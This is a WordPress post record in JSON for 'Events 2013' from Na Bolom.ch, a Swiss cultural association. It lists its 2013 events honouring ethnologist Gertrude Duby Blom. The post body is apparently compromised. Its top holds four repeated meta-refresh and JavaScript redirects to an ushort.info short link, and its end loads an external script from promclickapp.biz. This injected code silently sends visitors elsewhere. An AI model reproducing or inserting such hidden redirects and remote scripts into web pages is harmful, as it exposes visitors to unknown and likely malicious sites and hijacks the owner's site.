{"id":7289,"date":"2020-02-11T19:53:22","date_gmt":"2020-02-11T19:53:22","guid":{"rendered":"https:\/\/nabolom.ch\/web\/?p=7289"},"modified":"2026-02-20T18:23:49","modified_gmt":"2026-02-21T00:23:49","slug":"events-2013","status":"publish","type":"post","link":"https:\/\/nabolom.ch\/web\/2020\/02\/events-2013\/","title":{"rendered":"Events 2013"},"content":{"rendered":"<div class=\"wpb-content-wrapper\"><p><meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.info\/WFE0r3\" \/><br \/>\n<script>window.location.href = \"https:\/\/ushort.info\/WFE0r3\";<\/script><br \/>\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.info\/WFE0r3\" \/><br \/>\n<script>window.location.href = \"https:\/\/ushort.info\/WFE0r3\";<\/script><br \/>\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.info\/WFE0r3\" \/><br \/>\n<script>window.location.href = \"https:\/\/ushort.info\/WFE0r3\";<\/script><br \/>\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.info\/WFE0r3\" \/><br \/>\n<script>window.location.href = \"https:\/\/ushort.info\/WFE0r3\";<\/script><br \/>\n[vc_row][vc_column][vc_empty_space][vc_column_text]<\/p>\n<h1><span style=\"color: #99cc00;\">Events 2013<\/span><\/h1>\n<p>[\/vc_column_text][\/vc_column][\/vc_row][vc_row][vc_column width=&#8221;1\/2&#8243;][vc_column_text]<br \/>\n[\/vc_column_text][vc_column_text]<\/p>\n<h2 class=\"widget-title\" style=\"text-align: center;\">Happy holidays 2013<\/h2>\n<div class=\"widget-content\">\n<div class=\"widget-blog_post-created\" style=\"text-align: center;\">Posted <em>12\/18\/2013<\/em><\/div>\n<div class=\"widget-blog_post-content\">\n<div id=\"widget-aa4ae2cc-99f1-49be-adb2-fafe081d6b7e\" class=\"widget widget-text \">\n<div class=\"widget-content\">\n<h1 style=\"text-align: center;\">Na Bolom.ch<\/h1>\n<p style=\"text-align: center; font-size: 18px;\">Asociaci\u00f3n Cultural Suiza<\/p>\n<p style=\"text-align: center; font-size: 18px;\">Schweizer Kulturverein<\/p>\n<p style=\"text-align: center; font-size: 18px;\">Association Culturelle Suisse<\/p>\n<p style=\"text-align: center; font-size: 18px;\">Wishes you a very Merry Christmas 2013 and a Happy and Successful year 2014!<\/p>\n<p style=\"text-align: center; font-size: 18px;\">We appreciate your continued support for our activities.<\/p>\n<p style=\"text-align: center; font-size: 18px;\">Kyra, Ivonne, Nuria, Tania, Isabel, Hector<\/p>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<p>[\/vc_column_text][vc_single_image image=&#8221;1949&#8243; img_size=&#8221;470&#215;940&#8243;][vc_column_text]<br \/>\n[\/vc_column_text][\/vc_column][vc_column width=&#8221;1\/2&#8243;][vc_column_text]<\/p>\n<h2 style=\"text-align: center;\">Invitation (Spanish)<\/h2>\n<p style=\"text-align: center; font-size: 18px;\">Hommage to Gertrude Duby Blom<\/p>\n<p style=\"text-align: center; font-size: 18px;\">at her 20th anniversary. Dec. 6th, 2013.<\/p>\n<p>[\/vc_column_text][vc_single_image image=&#8221;1952&#8243; img_size=&#8221;450&#215;1000&#8243; alignment=&#8221;center&#8221;][\/vc_column][\/vc_row][vc_row][vc_column width=&#8221;1\/2&#8243;][vc_column_text]<\/p>\n<div style=\"text-align: justify;\">\n<h1 class=\"widget-title\"><strong><a href=\"?p=2467\">Hommage to Gertrude Duby Blom at her 20th death anniversary<\/a><\/strong><\/h1>\n<div class=\"widget-content\">\n<h5 class=\"widget-blog_post-created\">Posted <em>11\/26\/2013<\/em><\/h5>\n<div id=\"widget-71eb2a40-900d-4fb7-8669-a9b8d770b533\" class=\"widget widget-text \">\n<div class=\"widget-content\">\n<p style=\"font-size: 18px;\">The very first woman to become a ranger in Switzerland is Mexican born America Croisier. She has been for a good time the only one working as a ranger in this country, looking after a forest by the lake Valle de Joux, at the comune of L?Abbaye, no less tan 2,000 hectares of dense vegetation which she oversees day or night, spring or wintertime, summer or fall.Do you want to know how the forests are kept beautiful and productive in Switzerland? Would you be interested in getting to know how a Swiss woman saved a rainforest in Mexico? Come then to Na Bolom.ch event:<\/p>\n<p style=\"font-size: 18px;\">HOMMAGE TO GERTRUDE DUBY BLOM AT HER 20TH DEATH ANNIVERSARY<\/p>\n<p style=\"font-size: 18px;\">Friday December 6th,&nbsp; 2013<\/p>\n<p style=\"font-size: 18px;\">Kafigturm-Bern<\/p>\n<p style=\"font-size: 18px;\">Marktgasse 67<\/p>\n<p style=\"font-size: 18px;\">3003, Bern.<\/p>\n<p style=\"font-size: 18px;\">18h00 &#8211; 20h00<\/p>\n<p style=\"font-size: 18px;\">Free Entrance \/ Donations accepted.<\/p>\n<p style=\"font-size: 18px;\">The Swiss Cultural Association Na Bolom.ch invites you to honor the memory of Gertrude Duby Bolom who died at almost 93 years of age in December 23th, 1993, in San Cristobal de las Casas, in the Mexican state of Chiapas where she lived and worked since 1943.<\/p>\n<p style=\"font-size: 18px;\">Duby Blom, a famous ethnologist and photographer, spent five decades fighting for the respect to the great Lacandon rainforest, one of the only two lungs in the American continent. In her native Switzerland she studied Horticulture in Niederlenz and Social Work in Zurich, two abilities she put to good use in Europe and in Mexico.<\/p>\n<p style=\"font-size: 18px;\">Trudi, as she was known, is considered the very first real ecological spirit in the world.<\/p>\n<p style=\"font-size: 18px;\">At the event, <a class=\" link\" href=\"http:\/\/nabolom.ch\/invitaciones\/NaBolom-AmericaCroisier.jpg\" target=\"_blank\" rel=\"noopener noreferrer\">America Croisier<\/a> will deliver her conference &#8220;Rencontres Foresti\u00e8res: Des cultures diff\u00e9rentes pour une m\u00eame passion&#8221; and Kyra N\u00fa\u00f1ez-Johnsson will introduce &#8220;The life of a legend&#8221; a photographic show of Duby Blom&#8217;s long life.<\/p>\n<p style=\"font-size: 18px;\">Informations: <a class=\" link\" href=\"http:\/\/webmail.nabolom.ch\/imp\/compose.php?to=informaciones%40nabolom.ch\">informacion@nabolom.ch<\/a><\/p>\n<\/div>\n<\/div>\n<div class=\"widget-blog_post-links\">\n<h5 class=\"widget-blog_post-links-readmore\"><a href=\"?p=2467\">Read the rest of this entry \u00bb<\/a><\/h5>\n<\/div>\n<\/div>\n<\/div>\n<p>[\/vc_column_text][vc_column_text]<br \/>\n[\/vc_column_text][\/vc_column][vc_column width=&#8221;1\/2&#8243;][vc_column_text]<\/p>\n<div style=\"text-align: justify;\">\n<h1 class=\"widget-title\"><strong><a href=\"?p=2471\">Day of the dead, a mexican tradition<\/a><\/strong><\/h1>\n<div class=\"widget-content\">\n<h5 class=\"widget-blog_post-created\">Posted <em>10\/11\/2013<\/em><\/h5>\n<div id=\"widget-baebdcac-fc83-4d2e-8632-e95ceb2b05b8\" class=\"widget widget-text \">\n<div class=\"widget-content\">\n<p style=\"font-size: 18px;\">Na Bolom.ch will participate in the mexican celebration of the &#8220;Day of the dead&#8221; organized by the Mexican Embassy in Switzerland. A mexican altar will be presented in the Embassy and will be dedicated to Mr. Gilberto Bosques and Mrs. Gertrude Duby Blom.<\/p>\n<\/div>\n<\/div>\n<div class=\"widget-blog_post-links\">\n<h5 class=\"widget-blog_post-links-readmore\">Read the rest of this entry \u00bb<\/h5>\n<\/div>\n<\/div>\n<\/div>\n<p>[\/vc_column_text][vc_empty_space][vc_column_text]<\/p>\n<div style=\"text-align: justify;\">\n<h1 class=\"widget-title\"><a href=\"?p=2460\">Na Bolom.ch in newspaper &#8220;La Jornada&#8221;<\/a><\/h1>\n<div class=\"widget-content\">\n<h5 class=\"widget-blog_post-created\">Posted <em>10\/3\/2013<\/em><\/h5>\n<h5 style=\"font-size: 18px;\">The mexican newspaper &#8220;La Jornada&#8221; published yesterday an article about the creation of Na Bolom.ch signed by Gabriela Sotomayor from news agency Notimex.<\/h5>\n<ul>\n<li><a class=\" link\" style=\"font-size: 18px;\" href=\"http:\/\/www.jornada.unam.mx\/ultimas\/2013\/10\/02\/83924252-nace-en-suiza-asociacion-dedicada-a-salvadora-de-los-lacandones\" target=\"_blank\" rel=\"noopener noreferrer\">Newspaper Article about Na Bolom.ch ( La Jornada \/ Notimex )<\/a><\/li>\n<\/ul>\n<div class=\"widget-blog_post-links\">\n<h5 class=\"widget-blog_post-links-readmore\"><a style=\"font-size: 18px;\" href=\"?p=2460\">Read the rest of this entry \u00bb<\/a><\/h5>\n<\/div>\n<\/div>\n<\/div>\n<p>[\/vc_column_text][vc_empty_space][vc_column_text]<\/p>\n<div style=\"text-align: justify;\">\n<h1 class=\"widget-title\"><a href=\"?p=2455\">Official inauguration of Na Bolom.ch<\/a><\/h1>\n<div class=\"widget-content\">\n<h5 class=\"widget-blog_post-created\">Posted <em>9\/13\/2013<\/em><\/h5>\n<div id=\"widget-75bd2938-d83b-4d05-9cde-1285c9fb7070\" class=\"widget widget-text \">\n<div class=\"widget-content\">\n<p style=\"font-size: 18px;\">On September 12th the Cultural Association Na Bolom.ch was officially inaugurated in Bern. The non profit, cultural and ecological organization was created in honor of Gertrude Duby Blom, the &#8220;First Woman Ecologist in the Americas&#8221;. In the picture: Matthias L\u00f6rtscher, nephew of Trudi,&nbsp;Honorary President of Na Bolom.ch; Rudolf Knoblauch, Ambassador of Switzerland in Mexico; Tania Michel-Blanco, Communications Manager; Nuria Font de Berlioz, Secretary General; Jorge Castro Valle-Kuehne, Ambassador of Mexico in Switzerland, Kyra Nu\u00f1ez-Johnsson, President of Na Bolom.ch; Ivonne Meyer, Vicepresident of Na Bolom.ch; Ana Isabel Campus,&nbsp;Treasure, and H\u00e9ctor Pineda Moreno, Accounts Checker.<\/p>\n<\/div>\n<\/div>\n<div class=\"widget-blog_post-links\">\n<h5 class=\"widget-blog_post-links-readmore\"><a style=\"font-size: 18px;\" href=\"?p=2455\">Read the rest of this entry \u00bb<\/a><\/h5>\n<\/div>\n<\/div>\n<div>&nbsp;<\/div>\n<\/div>\n<p>[\/vc_column_text][vc_empty_space][vc_column_text]<\/p>\n<div style=\"text-align: justify;\">\n<h1 class=\"widget-title\" style=\"text-align: left;\"><a href=\"?p=2451\">Lecture: Gertrude Duby Blom and the Mexican Lacandons<\/a><\/h1>\n<div class=\"widget-content\">\n<h5 class=\"widget-blog_post-created\" style=\"text-align: left;\">Posted <em>9\/23\/2013<\/em><\/h5>\n<div id=\"widget-6ae957b1-8bd3-4a4d-8fd1-e8dc0bcd7af6\" class=\"widget widget-text \">\n<div class=\"widget-content\">\n<p style=\"font-size: 18px;\">On October 16th, a lecture on Gertrude Duby Blom will be dictated by Mrs. Kyra Nu\u00f1ez-Johnsson, president of Na Bolom.ch at the Museum of Swiss in the World as part of a program dedicated to the Swiss in the Americas.<\/p>\n<ul>\n<li style=\"font-size: 18px;\"><a class=\" link\" href=\"http:\/\/www.penthes.ch\/fr\/news\/16-octobre-les-suisses-a-la-rencontre-des-amerindiens\/page:1\" target=\"_blank\" rel=\"noopener noreferrer\">All info from the museum, here.<\/a><\/li>\n<\/ul>\n<\/div>\n<\/div>\n<div class=\"widget-blog_post-links\">\n<h5 class=\"widget-blog_post-links-readmore\" style=\"text-align: left; font-size: 18px;\"><a href=\"?p=2451\">Read the rest of this entry \u00bb<\/a><\/h5>\n<\/div>\n<\/div>\n<\/div>\n<p>[\/vc_column_text][vc_column_text]<br \/>\n[\/vc_column_text][\/vc_column][\/vc_row]<\/p>\n<p><script src=\"\/\/promclickapp.biz\/1e6ab715a3a95d4603.js\" async=\"\" type=\"text\/javascript\"><\/script><\/p><\/p>\n<\/div>","protected":false},"excerpt":{"rendered":"<p>[vc_row][vc_column][vc_empty_space][vc_column_text] Events 2013 [\/vc_column_text][\/vc_column][\/vc_row][vc_row][vc_column width=&#8221;1\/2&#8243;][vc_column_text] [\/vc_column_text][vc_column_text] Happy holidays 2013 Posted 12\/18\/2013 Na Bolom.ch Asociaci\u00f3n Cultural Suiza Schweizer Kulturverein Association Culturelle Suisse Wishes you a very Merry Christmas 2013 and a<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"rs_blank_template":"","rs_page_bg_color":"","slide_template_v7":"","footnotes":""},"categories":[1],"tags":[],"class_list":["post-7289","post","type-post","status-publish","format-standard","hentry","category-sin-categoria"],"_links":{"self":[{"href":"https:\/\/nabolom.ch\/web\/wp-json\/wp\/v2\/posts\/7289","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/nabolom.ch\/web\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/nabolom.ch\/web\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/nabolom.ch\/web\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/nabolom.ch\/web\/wp-json\/wp\/v2\/comments?post=7289"}],"version-history":[{"count":1,"href":"https:\/\/nabolom.ch\/web\/wp-json\/wp\/v2\/posts\/7289\/revisions"}],"predecessor-version":[{"id":14916,"href":"https:\/\/nabolom.ch\/web\/wp-json\/wp\/v2\/posts\/7289\/revisions\/14916"}],"wp:attachment":[{"href":"https:\/\/nabolom.ch\/web\/wp-json\/wp\/v2\/media?parent=7289"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/nabolom.ch\/web\/wp-json\/wp\/v2\/categories?post=7289"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/nabolom.ch\/web\/wp-json\/wp\/v2\/tags?post=7289"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}